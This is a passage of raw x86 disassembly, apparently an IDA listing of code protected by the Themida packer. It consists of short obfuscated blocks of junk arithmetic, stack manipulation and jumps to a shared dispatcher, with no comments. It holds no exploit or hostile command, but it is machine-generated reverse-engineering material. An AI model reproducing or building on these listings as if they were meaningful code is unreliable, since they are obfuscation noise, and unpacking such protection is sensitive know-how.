loc_54FB86: ; CODE XREF: Themida_:005510CEj
xor edi, 1EB094C0h
or eax, edi
pop edi
shr eax, 1
jmp loc_550289
; ---------------------------------------------------------------------------
loc_54FB96: ; CODE XREF: Themida_:0054FC1Dj
not edx
xor edx, 0E3F13130h
add ecx, edx
pop edx
add edx, ecx
pop ecx
jmp loc_559BAA
; ---------------------------------------------------------------------------
loc_54FBA9: ; CODE XREF: Themida_:00552735j
or ebp, 1622319Dh
sub ebp, 368E32B5h
add eax, 5085573Fh
jmp loc_55ACBD
; ---------------------------------------------------------------------------
loc_54FBBF: ; CODE XREF: Themida_:00558D6Bj
sub esp, 4
mov [esp], esi
jmp loc_5581D5
; ---------------------------------------------------------------------------
loc_54FBCA: ; CODE XREF: Themida_:0054FB81j
sub bh, 0F1h
push edx
mov dl, 0F0h
push ebx
jmp loc_55A129
; ---------------------------------------------------------------------------
loc_54FBD6: ; CODE XREF: Themida_:00550CA2j
pop ebp
jmp loc_55B11B
; ---------------------------------------------------------------------------
loc_54FBDC: ; CODE XREF: Themida_:00554B35j
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, 2
add eax, 7F0C4F40h
add eax, ebx
sub eax, 7F0C4F40h
push dword ptr [esp]
pop ebx
jmp loc_551FD9
; ---------------------------------------------------------------------------
loc_54FBFD: ; CODE XREF: Themida_:00550AE7j
mov esi, esp
add esi, 4
push eax
jmp loc_54F680
; ---------------------------------------------------------------------------
loc_54FC0B: ; CODE XREF: Themida_:00552DF1j
push edx
mov edx, 43F24FFAh
not edx
and edx, 5BE96EB8h
inc edx
shr edx, 4
jmp loc_54FB96
; ---------------------------------------------------------------------------
loc_54FC22: ; CODE XREF: Themida_:00552392j
mov eax, [esp]
add esp, 4
push 881h
mov [esp], eax
mov eax, esp
jmp loc_557C7D
; ---------------------------------------------------------------------------
loc_54FC3A: ; CODE XREF: Themida_:0054ED3Dj
add ebx, eax
pop eax
jmp loc_551C21
; ---------------------------------------------------------------------------
loc_54FC42: ; CODE XREF: Themida_:005553FDj
add bl, 38h
sub bl, al
sub bl, 38h
jmp loc_551805
; ---------------------------------------------------------------------------
loc_54FC4F: ; CODE XREF: Themida_:0055ABB2j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54FC54: ; CODE XREF: Themida_:00559065j
push 70B6h
mov [esp], edi
push esp
pop edi
jmp loc_5542A3
; ---------------------------------------------------------------------------
loc_54FC63: ; CODE XREF: Themida_:00559D5Bj
mov [esp], eax
jmp loc_54EF5A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push ecx
jmp loc_55A440
; ---------------------------------------------------------------------------
loc_54FC7A: ; CODE XREF: Themida_:005546F5j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_551026
; ---------------------------------------------------------------------------
loc_54FC86: ; CODE XREF: Themida_:0055B028j
sub al, 5Eh
mov bl, al
pop eax
push dx
jmp loc_559706
; ---------------------------------------------------------------------------
loc_54FC92: ; CODE XREF: Themida_:00558D01j
push 20DA4B25h
pop ebx
sub ebx, 0A8C336CDh
mov eax, ebx
jmp loc_55A62A
; ---------------------------------------------------------------------------
loc_54FCA5: ; CODE XREF: Themida_:0055616Bj
sub edx, eax
jmp loc_5582C9
; ---------------------------------------------------------------------------
loc_54FCAC: ; CODE XREF: Themida_:0055282Ej
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_558260
; ---------------------------------------------------------------------------
loc_54FCBA: ; CODE XREF: Themida_:0055538Aj
mov [esp], esi
pop ecx
jmp loc_554984
; ---------------------------------------------------------------------------
loc_54FCC3: ; CODE XREF: Themida_:005526ADj
xor eax, edi
jmp loc_557F4F
; ---------------------------------------------------------------------------
loc_54FCCA: ; CODE XREF: Themida_:005582EDj
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_557226
; ---------------------------------------------------------------------------
loc_54FCD7: ; CODE XREF: Themida_:005584CDj
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 76BE63BAh
jmp loc_557D62
; ---------------------------------------------------------------------------
loc_54FCF5: ; CODE XREF: Themida_:005593E3j
mov esi, 2852028Bh
push ecx
mov ecx, 6E955D4Bh
mov edi, 0CE817E30h
xor edi, ecx
jmp loc_556847
; ---------------------------------------------------------------------------
loc_54FD0C: ; CODE XREF: Themida_:00555C0Fj
xor edi, ebx
pop ebx
sub eax, 70A51E96h
add eax, edi
add eax, 70A51E96h
jmp loc_5567C7
; ---------------------------------------------------------------------------
loc_54FD20: ; CODE XREF: Themida_:00554175j
xchg esi, [esp]
mov eax, [esp]
push edi
mov edi, esp
push ebp
jmp loc_551574
; ---------------------------------------------------------------------------
loc_54FD2F: ; CODE XREF: Themida_:00555199j
sub bl, 1Fh
sub bl, ch
add bl, 1Fh
pop ecx
movzx eax, al
lea eax, [edi+eax*4]
sub esp, 4
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
jmp loc_55A2A6
; ---------------------------------------------------------------------------
loc_54FD5A: ; CODE XREF: Themida_:005586DEj
shr ecx, 6
jmp loc_555572
; ---------------------------------------------------------------------------
loc_54FD62: ; CODE XREF: Themida_:0055AF39j
sub dword ptr [esp], 406574E1h
jmp loc_559864
; ---------------------------------------------------------------------------
loc_54FD6E: ; CODE XREF: Themida_:00557E16j
pop ecx
jmp loc_554752
; ---------------------------------------------------------------------------
loc_54FD74: ; CODE XREF: Themida_:005514C8j
mov cl, 0A4h
add dh, cl
pop ecx
jmp loc_550E66
; ---------------------------------------------------------------------------
loc_54FD7E: ; CODE XREF: Themida_:0055AE42j
pop ebx
add esp, 4
and eax, ebx
push dword ptr [esp]
pop ebx
push ecx
push esp
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_553608
; ---------------------------------------------------------------------------
loc_54FD9E: ; CODE XREF: Themida_:0055289Fj
mov edi, esp
add edi, 4
jmp loc_551B19
; ---------------------------------------------------------------------------
loc_54FDAB: ; CODE XREF: Themida_:00552645j
push ebp
mov ebp, 303B3180h
add ebx, ebp
jmp loc_557D48
; ---------------------------------------------------------------------------
loc_54FDB8: ; CODE XREF: Themida_:0055324Cj
sub dl, 0D8h
sub bl, dl
jmp loc_54F2D8
; ---------------------------------------------------------------------------
loc_54FDC2: ; CODE XREF: Themida_:005577F3j
push ebx
jmp loc_552B4C
; ---------------------------------------------------------------------------
loc_54FDC8: ; CODE XREF: Themida_:0055A264j
pop ecx
add ebp, 0DC566080h
xor eax, ebp
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, 32223630h
add ebx, 20B1394Bh
add ebx, ebp
sub ebx, 20B1394Bh
pop ebp
sub ebx, 58F03EDh
add ebx, 26C172F1h
jmp loc_5569A1
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3F1h
mov [esp], ebp
mov ebp, esp
push ecx
mov ecx, 4
jmp loc_54F43A
; ---------------------------------------------------------------------------
loc_54FE19: ; CODE XREF: Themida_:00557FA9j
mov edx, 2
push edx
mov edx, 50880345h
add edx, 177A120Dh
jmp loc_5548A4
; ---------------------------------------------------------------------------
loc_54FE2F: ; CODE XREF: Themida_:00559F4Bj
push 10B8h
mov [esp], ecx
jmp loc_55354B
; ---------------------------------------------------------------------------
loc_54FE3C: ; CODE XREF: Themida_:0055796Cj
mov eax, esp
push edx
jmp loc_554E3E
; ---------------------------------------------------------------------------
loc_54FE44: ; CODE XREF: Themida_:0054EC8Aj
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_558ED5
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54FE67: ; CODE XREF: Themida_:00558305j
add edi, ebx
pop ebx
jmp loc_556B9E
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55614A
; ---------------------------------------------------------------------------
loc_54FE7A: ; CODE XREF: Themida_:005556FAj
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push 54AF185Ah
pop edx
add edx, 0AB50E7AAh
sub edi, 78BE2322h
add edi, edx
add edi, 78BE2322h
jmp loc_552B3E
; ---------------------------------------------------------------------------
loc_54FEA8: ; CODE XREF: Themida_:0055052Ej
mov [esp], ebx
jmp loc_55A542
; ---------------------------------------------------------------------------
loc_54FEB0: ; CODE XREF: Themida_:0055424Bj
push ebx
push 7469308Ah
pop ebx
or ebx, 2A130918h
xor ebx, 5CF500BFh
xor ebx, 228E3921h
jmp loc_5510EE
; ---------------------------------------------------------------------------
loc_54FECE: ; CODE XREF: Themida_:00558703j
add esi, ebx
sub esi, 1D92190Dh
jmp loc_55A671
; ---------------------------------------------------------------------------
loc_54FEDB: ; CODE XREF: Themida_:0055934Ej
sub eax, esi
pop esi
shr eax, 5
jmp loc_55276C
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
jmp loc_559DEC
; ---------------------------------------------------------------------------
loc_54FEF1: ; CODE XREF: Themida_:00550BFFj
push dword ptr [esp]
pop edx
jmp loc_554E8E
; ---------------------------------------------------------------------------
loc_54FEFA: ; CODE XREF: Themida_:0055955Bj
sub al, 0D7h
pop dx
sub al, 0A2h
add al, bl
push edx
mov dh, 4Ah
xor dh, 0D7h
sub dh, 94h
jmp loc_550A34
; ---------------------------------------------------------------------------
loc_54FF10: ; CODE XREF: Themida_:00552614j
neg ebp
shl ebp, 4
sub ebp, 10545133h
add eax, ebp
jmp loc_5590FD
; ---------------------------------------------------------------------------
loc_54FF22: ; CODE XREF: Themida_:00550DD5j
inc bl
push eax
jmp loc_552482
; ---------------------------------------------------------------------------
loc_54FF2A: ; CODE XREF: Themida_:0054F2A2j
add eax, ebp
push 4D6Fh
jmp loc_54F595
; ---------------------------------------------------------------------------
loc_54FF36: ; CODE XREF: Themida_:00551C2Aj
xor eax, esi
mov esi, [esp]
jmp loc_552684
; ---------------------------------------------------------------------------
loc_54FF40: ; CODE XREF: Themida_:0055A0B2j
shr cl, 1
sub esp, 4
mov [esp], ebx
jmp loc_5510F5
; ---------------------------------------------------------------------------
loc_54FF50: ; CODE XREF: Themida_:0055591Aj
pop edi
xchg ecx, [esp]
pop esp
add ebp, 2
push 6173h
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_558726
; ---------------------------------------------------------------------------
loc_54FF83: ; CODE XREF: Themida_:005504A9j
add ebp, 4
push ebx
mov ebx, 3DD13C7Ah
add ebx, 703522F0h
add ebx, 4F0B78A4h
sub ebx, 0FD11D80Ch
add ebp, ebx
jmp loc_55016C
; ---------------------------------------------------------------------------
loc_54FFA8: ; CODE XREF: Themida_:005513A6j
add esp, 4
push eax
mov ah, 5Ch
jmp loc_550799
; ---------------------------------------------------------------------------
mov ax, [esp]
push 433Eh
mov [esp], ecx
mov ecx, esp
jmp loc_552EF8
; ---------------------------------------------------------------------------
loc_54FFC9: ; CODE XREF: Themida_:0055657Bj
pop eax
push 681Eh
mov [esp], ecx
mov ecx, edi
mov edx, ecx
pop ecx
pop edi
jmp loc_556772
; ---------------------------------------------------------------------------
loc_54FFDD: ; CODE XREF: Themida_:00559189j
pop ebp
jmp loc_559058
; ---------------------------------------------------------------------------
loc_54FFE3: ; CODE XREF: Themida_:0054F9AAj
push edi
mov edi, 4
add eax, edi
pop edi
add eax, 4
jmp loc_55574D
; ---------------------------------------------------------------------------
loc_54FFF4: ; CODE XREF: Themida_:005509A8j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54FFF9: ; CODE XREF: Themida_:00551FA2j
xchg ebp, [esp]
jmp loc_55A496
; ---------------------------------------------------------------------------
loc_550001: ; CODE XREF: Themida_:0054EBE9j
mov ch, 0Fh
xor ch, 0B4h
xor ch, 3
jmp loc_55387D
; ---------------------------------------------------------------------------
loc_55000E: ; CODE XREF: Themida_:00552D16j
push ebx
mov ebx, 4
sub ecx, 4F083A4Ch
jmp loc_552D72
; ---------------------------------------------------------------------------
loc_55001F: ; CODE XREF: Themida_:0055A077j
add cl, 0Eh
add al, cl
jmp loc_552EAD
; ---------------------------------------------------------------------------
loc_550029: ; CODE XREF: Themida_:00552F5Cj
mov edx, esp
add edx, 4
push edi
mov edi, 4
add edx, edi
pop edi
push edx
push dword ptr [esp+4]
pop edx
jmp loc_54FA59
; ---------------------------------------------------------------------------
loc_550045: ; CODE XREF: Themida_:00555DA3j
neg ch
jmp loc_555196
; ---------------------------------------------------------------------------
loc_55004C: ; CODE XREF: Themida_:0055515Cj
push esi
push edx
mov edx, 4B125A7Eh
neg edx
xor edx, 0CC41B879h
push edx
jmp loc_558454
; ---------------------------------------------------------------------------
loc_550061: ; CODE XREF: Themida_:005515AFj
xor [esp], esi
jmp loc_550F0E
; ---------------------------------------------------------------------------
loc_550069: ; CODE XREF: Themida_:00555E7Fj
sub edx, 7EC9688Dh
sub edx, 33994A00h
add edx, edi
add edx, 33994A00h
add edx, 7EC9688Dh
jmp loc_551E22
; ---------------------------------------------------------------------------
loc_550088: ; CODE XREF: Themida_:005533C5j
and cl, bh
pop ebx
push edx
mov dh, 82h
neg dh
not dh
xor dh, 39h
shr dh, 2
xor dh, 29h
add cl, dh
pop edx
mov al, cl
jmp loc_5528FB
; ---------------------------------------------------------------------------
loc_5500A5: ; CODE XREF: Themida_:005577CBj
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
push 47CDh
mov [esp], edx
jmp loc_55724D
; ---------------------------------------------------------------------------
loc_5500BD: ; CODE XREF: Themida_:0054EDA4j
xor ch, dh
jmp loc_555D95
; ---------------------------------------------------------------------------
loc_5500C4: ; CODE XREF: Themida_:00553D44j
xchg ebp, [esp]
mov esp, [esp]
push ebx
add dword ptr [esp], 58051EAEh
pop eax
sub eax, 58051EAEh
pop ebx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5500DE: ; CODE XREF: Themida_:005515F6j
xor ebp, [esp]
xor [esp], ebp
jmp loc_550FA2
; ---------------------------------------------------------------------------
loc_5500E9: ; CODE XREF: Themida_:0055544Fj
sub ecx, 2BEB01D8h
sub ecx, 0AE563B62h
mov ebp, ecx
pop ecx
add ebp, 5BF268C1h
push eax
mov eax, 51E93811h
jmp loc_5539B6
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push esp
pop eax
sub esp, 4
mov [esp], edi
jmp loc_559AC1
; ---------------------------------------------------------------------------
mov cx, [esp]
push 36ADh
jmp loc_55A419
; ---------------------------------------------------------------------------
xor [esp], dx
xor dx, [esp]
xor [esp], dx
push dx
not word ptr [esp]
jmp loc_5535AB
; ---------------------------------------------------------------------------
loc_550143: ; CODE XREF: Themida_:0054F357j
mov eax, 57EA14C9h
jmp loc_5574F6
; ---------------------------------------------------------------------------
loc_55014D: ; CODE XREF: Themida_:005581FAj
xor ebx, edi
jmp loc_556DF3
; ---------------------------------------------------------------------------
loc_550154: ; CODE XREF: Themida_:00555262j
mov eax, 2
jmp loc_558E9A
; ---------------------------------------------------------------------------
loc_55015E: ; CODE XREF: Themida_:00551F78j
xchg eax, esi
pop esi
xor eax, 64D522CFh
add edi, eax
jmp loc_55B145
; ---------------------------------------------------------------------------
loc_55016C: ; CODE XREF: Themida_:0054FFA3j
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_557292
; ---------------------------------------------------------------------------
loc_55017B: ; CODE XREF: Themida_:0055958Dj
movzx eax, al
push dword ptr [edi+eax*4]
push esi
mov esi, esp
add esi, 4
push ebp
mov ebp, 4
jmp loc_55AFAE
; ---------------------------------------------------------------------------
loc_550195: ; CODE XREF: Themida_:00556B3Bj
pop eax
jmp loc_551B50
; ---------------------------------------------------------------------------
loc_55019B: ; CODE XREF: Themida_:005573C8j
sub edx, ebx
pop ebx
add ebp, edx
pop edx
push 19F1h
mov [esp], edi
mov edi, 4
sub ebp, edi
pop edi
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_554FCD
; ---------------------------------------------------------------------------
loc_5501CD: ; CODE XREF: Themida_:005592F3j
add esp, 4
jmp loc_550AF6
; ---------------------------------------------------------------------------
loc_5501D5: ; CODE XREF: Themida_:005549CAj
mov esi, esp
add esi, 4
jmp loc_55378B
; ---------------------------------------------------------------------------
loc_5501E2: ; CODE XREF: Themida_:00559A95j
mov esp, [esp]
jmp loc_55A985
; ---------------------------------------------------------------------------
loc_5501EA: ; CODE XREF: Themida_:00555811j
pop esp
jmp loc_55105A
; ---------------------------------------------------------------------------
loc_5501F0: ; CODE XREF: Themida_:005545F4j
add bl, cl
jmp loc_552189
; ---------------------------------------------------------------------------
loc_5501F7: ; CODE XREF: Themida_:00557EB8j
mov dh, 88h
add bl, 73h
sub bl, dh
sub bl, 73h
mov dx, [esp]
push edi
jmp loc_553793
; ---------------------------------------------------------------------------
loc_55020B: ; CODE XREF: Themida_:005506FCj
add eax, 5F90EF3h
push edi
mov edi, 75BE4B9Fh
push edx
mov edx, 226159C3h
sub edi, edx
mov edx, [esp]
add esp, 4
push ebx
push 6D21A65h
pop ebx
add edi, ebx
mov ebx, [esp]
add esp, 4
xor edi, 7B005F5Eh
sub eax, edi
pop edi
sub eax, ebx
push 5DE4h
mov [esp], ebx
mov ebx, 32CA02AAh
shr ebx, 1
jmp loc_557BE7
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55025D: ; CODE XREF: Themida_:00557D34j
pop ebx
jmp loc_54F3FA
; ---------------------------------------------------------------------------
loc_550263: ; CODE XREF: Themida_:00557ADDj
pop esp
push ebp
push esp
pop ebp
add ebp, 4
push ebx
mov ebx, 4
jmp loc_555A7C
; ---------------------------------------------------------------------------
loc_550278: ; CODE XREF: Themida_:00553786j
pop eax
jmp loc_5540C3
; ---------------------------------------------------------------------------
loc_55027E: ; CODE XREF: Themida_:0055A6DCj
add edi, 4
jmp loc_551490
; ---------------------------------------------------------------------------
loc_550289: ; CODE XREF: Themida_:0054FB91j
shr eax, 4
jmp loc_556060
; ---------------------------------------------------------------------------
loc_550291: ; CODE XREF: Themida_:0054ECAFj
pop edi
add esi, 65A838AAh
add esi, eax
sub esi, 65A838AAh
pop eax
xchg esi, [esp]
jmp loc_55AB3A
; ---------------------------------------------------------------------------
loc_5502A9: ; CODE XREF: Themida_:00557C6Aj
pop esp
loc_5502AA: ; CODE XREF: Themida_:loc_551800j
push ebx
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_557FAE
; ---------------------------------------------------------------------------
loc_5502C5: ; CODE XREF: Themida_:005587C7j
mov ecx, 4
add esi, 3D06235Fh
add esi, ecx
jmp loc_550334
; ---------------------------------------------------------------------------
loc_5502D7: ; CODE XREF: Themida_:0055942Fj
add eax, edx
pop edx
add eax, 4
jmp loc_556FBD
; ---------------------------------------------------------------------------
loc_5502E4: ; CODE XREF: Themida_:0055ACADj
mov edx, [esp]
add esp, 4
push 34D9h
mov [esp], edi
jmp loc_555AC1
; ---------------------------------------------------------------------------
loc_5502FA: ; CODE XREF: Themida_:0055A37Bj
mov ecx, esp
add ecx, 4
jmp loc_5507DF
; ---------------------------------------------------------------------------
loc_550307: ; CODE XREF: Themida_:00552318j
pop esp
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_55AFCD
; ---------------------------------------------------------------------------
loc_550319: ; CODE XREF: Themida_:00555996j
mov edx, [esp]
jmp loc_5599B8
; ---------------------------------------------------------------------------
loc_550321: ; CODE XREF: Themida_:00551288j
mov [esp], ecx
mov ecx, 4
sub esi, 5B045127h
jmp loc_554AB8
; ---------------------------------------------------------------------------
loc_550334: ; CODE XREF: Themida_:005502D2j
sub esi, 3D06235Fh
mov ecx, [esp]
jmp loc_55A9FE
; ---------------------------------------------------------------------------
loc_550342: ; CODE XREF: Themida_:005522D1j
push ebp
neg dword ptr [esp]
pop ebp
sub ebp, 22F07DEFh
and ebp, 6006DF3h
jmp loc_5569E6
; ---------------------------------------------------------------------------
loc_550358: ; CODE XREF: Themida_:00550D3Bj
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55036A: ; CODE XREF: Themida_:0055720Fj
sub al, 2
mov ecx, [esp]
jmp loc_553B0B
; ---------------------------------------------------------------------------
loc_550374: ; CODE XREF: Themida_:0054EEA1j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5595FE
; ---------------------------------------------------------------------------
loc_55037F: ; CODE XREF: Themida_:005507A5j
add ah, 1Dh
and dl, ah
pop eax
push eax
mov al, 0Fh
sub al, 0F3h
inc al
sub al, 0A9h
and dl, al
pop eax
shl dl, 7
and dl, 0BEh
dec dl
push eax
mov al, 82h
add dl, al
pop eax
sub bl, dl
mov edx, [esp]
jmp loc_5553FA
; ---------------------------------------------------------------------------
loc_5503A9: ; CODE XREF: Themida_:00552D57j
pop dword ptr [esp]
pop esp
mov [esp], ebx
jmp loc_5516B3
; ---------------------------------------------------------------------------
loc_5503B5: ; CODE XREF: Themida_:005540BEj
push eax
mov eax, 25426DC8h
add edx, eax
pop eax
mov ebx, [esp]
push edx
mov edx, esp
jmp loc_5564E3
; ---------------------------------------------------------------------------
loc_5503C9: ; CODE XREF: Themida_:00559EEBj
push ecx
jmp loc_550FDA
; ---------------------------------------------------------------------------
loc_5503CF: ; CODE XREF: Themida_:0055123Ej
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55343C
; ---------------------------------------------------------------------------
loc_5503DB: ; CODE XREF: Themida_:005580A4j
push esp
jmp loc_55065E
; ---------------------------------------------------------------------------
loc_5503E1: ; CODE XREF: Themida_:0055110Fj
push eax
mov ah, 57h
mov ch, ah
jmp loc_552EC1
; ---------------------------------------------------------------------------
loc_5503EB: ; CODE XREF: Themida_:00556C3Cj
pop eax
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55B191
; ---------------------------------------------------------------------------
loc_55040A: ; CODE XREF: Themida_:0055250Bj
inc bl
sub bl, 3
xor dl, bl
pop ebx
sub bl, dl
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_552C3F
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_557DDB
; ---------------------------------------------------------------------------
loc_550439: ; CODE XREF: Themida_:00553236j
pop ebp
add ebx, 4
xchg ebx, [esp]
pop esp
push ax
mov al, 6
add bl, al
pop ax
push edx
mov dh, 5Ch
sub bl, dh
pop edx
sub bl, al
push ecx
mov ch, 5Ch
add bl, 71h
jmp loc_554216
; ---------------------------------------------------------------------------
loc_55045F: ; CODE XREF: Themida_:0055837Cj
pop esp
jmp loc_55AA79
; ---------------------------------------------------------------------------
loc_550465: ; CODE XREF: Themida_:00550B2Dj
pop eax
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
sar dword ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55047A: ; CODE XREF: Themida_:00556CD9j
mov eax, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov bh, dl
push edx
push 1B5Fh
mov [esp], ecx
mov cl, bh
jmp loc_559B91
; ---------------------------------------------------------------------------
loc_5504A8: ; CODE XREF: Themida_:0055AA52j
pop esp
jmp loc_54FF83
; ---------------------------------------------------------------------------
loc_5504AE: ; CODE XREF: Themida_:00559A35j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_550585
; ---------------------------------------------------------------------------
loc_5504C0: ; CODE XREF: Themida_:005525A4j
add edi, edx
jmp loc_555B01
; ---------------------------------------------------------------------------
loc_5504C7: ; CODE XREF: Themida_:00550A70j
mov ebp, esp
sub esp, 4
mov [esp], esi
mov esi, 10207149h
xor esi, 34B0369Ah
sub esi, 0FFFFFFFFh
push ebx
mov ebx, 249047D0h
sub esi, ebx
jmp loc_55522B
; ---------------------------------------------------------------------------
loc_5504F0: ; CODE XREF: Themida_:00556237j
pop esi
jmp loc_5556C7
; ---------------------------------------------------------------------------
loc_5504F6: ; CODE XREF: Themida_:0055458Aj
mov esp, [esp]
mov cx, [esp]
sub esp, 4
mov [esp], edi
push 194Bh
mov [esp], esp
push 7D54h
mov [esp], esi
mov esi, 4
push ebx
mov ebx, 34A85B20h
dec ebx
jmp loc_55ACC4
; ---------------------------------------------------------------------------
loc_550527: ; CODE XREF: Themida_:005581D0j
pop esi
sub esp, 4
jmp loc_54FEA8
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_55901E
; ---------------------------------------------------------------------------
loc_550544: ; CODE XREF: Themida_:00555503j
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_55AD25
; ---------------------------------------------------------------------------
loc_550557: ; CODE XREF: Themida_:00556337j
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_559CCB
; ---------------------------------------------------------------------------
loc_550575: ; CODE XREF: Themida_:0055AD20j
xor [esp], esi
xor esi, [esp]
pop esp
add [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_550585: ; CODE XREF: Themida_:005504BBj
pop esp
push eax
jmp loc_55423A
; ---------------------------------------------------------------------------
loc_55058C: ; CODE XREF: Themida_:0055A068j
sub ebp, ebx
pop ebx
jmp loc_553042
; ---------------------------------------------------------------------------
loc_550594: ; CODE XREF: Themida_:0055403Fj
add edx, ebx
jmp loc_552386
; ---------------------------------------------------------------------------
loc_55059B: ; CODE XREF: Themida_:00550776j
sub al, 0ADh
add al, bh
jmp loc_55A8AC
; ---------------------------------------------------------------------------
loc_5505A4: ; CODE XREF: Themida_:005585ACj
pop dx
jmp loc_553E2E
; ---------------------------------------------------------------------------
loc_5505AB: ; CODE XREF: Themida_:0055283Aj
add esp, 4
jmp loc_5536D9
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_556131
; ---------------------------------------------------------------------------
push ecx
push eax
add dword ptr [esp], 2A394F5Dh
pop ecx
sub ecx, 2A394F5Dh
jmp loc_55690A
; ---------------------------------------------------------------------------
loc_5505D2: ; CODE XREF: Themida_:005521AAj
push esp
mov ecx, [esp]
add esp, 4
push edi
jmp loc_55A087
; ---------------------------------------------------------------------------
loc_5505E2: ; CODE XREF: Themida_:00553A0Cj
sub eax, edi
pop edi
add eax, 0BDE0B4Bh
sub eax, ebx
sub eax, 0BDE0B4Bh
add eax, 445D02DFh
sub eax, 1D055943h
push ebx
mov ebx, 7CE11924h
neg ebx
xor ebx, 8BF7F699h
add eax, ebx
pop ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_5510D3
; ---------------------------------------------------------------------------
loc_550626: ; CODE XREF: Themida_:00551747j
pop ebx
jmp loc_55689D
; ---------------------------------------------------------------------------
loc_55062C: ; CODE XREF: Themida_:0055611Bj
pop esp
pop ecx
push ebx
mov ebx, 77543E3Bh
add ecx, ebx
pop ebx
sub esp, 4
mov [esp], edi
push dword ptr [esp]
mov edx, [esp]
jmp loc_55838C
; ---------------------------------------------------------------------------
loc_55064B: ; CODE XREF: Themida_:00554028j
xor esi, [esp]
mov esp, [esp]
jmp loc_55ADF4
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55065E: ; CODE XREF: Themida_:005503DCj
mov ecx, [esp]
add esp, 4
push ebx
push edx
jmp loc_551BBD
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 7A00h
mov [esp], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
jmp loc_5533CA
; ---------------------------------------------------------------------------
loc_550688: ; CODE XREF: Themida_:005509BAj
shr ebp, 5
xor ebp, 47CBCD19h
mov edi, ebp
jmp loc_5517A1
; ---------------------------------------------------------------------------
loc_550698: ; CODE XREF: Themida_:0055B101j
or al, 43h
dec al
sub al, 0A4h
dec al
shr al, 6
shl al, 8
sub al, 0CCh
sub al, 76h
sub al, 56h
sub dl, al
pop eax
sub bh, dl
mov edx, [esp]
add esp, 4
jmp loc_551378
; ---------------------------------------------------------------------------
loc_5506BF: ; CODE XREF: Themida_:005527EAj
push edx
mov edx, 5D223D7h
inc edx
dec edx
push 0B9h
mov [esp], eax
mov eax, 7EF7AAFh
add edx, eax
pop eax
jmp loc_555E53
; ---------------------------------------------------------------------------
loc_5506DC: ; CODE XREF: Themida_:005594ACj
movzx eax, al
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp], esi
push 403h
mov [esp], edx
jmp loc_558F7A
; ---------------------------------------------------------------------------
loc_5506F5: ; CODE XREF: Themida_:00558FABj
push edx
jmp loc_550FB9
; ---------------------------------------------------------------------------
lodsd
jmp loc_55020B
; ---------------------------------------------------------------------------
loc_550701: ; CODE XREF: Themida_:00557D05j
and esi, edx
pop edx
sub esi, 0E861FD7Eh
add ecx, esi
mov esi, [esp]
add esp, 4
add ecx, 31F856C4h
push edi
jmp loc_555AEC
; ---------------------------------------------------------------------------
loc_55071E: ; CODE XREF: Themida_:00552491j
push edx
push ebx
mov bh, 0DBh
mov dh, 0ADh
add dh, 0EEh
add dh, bh
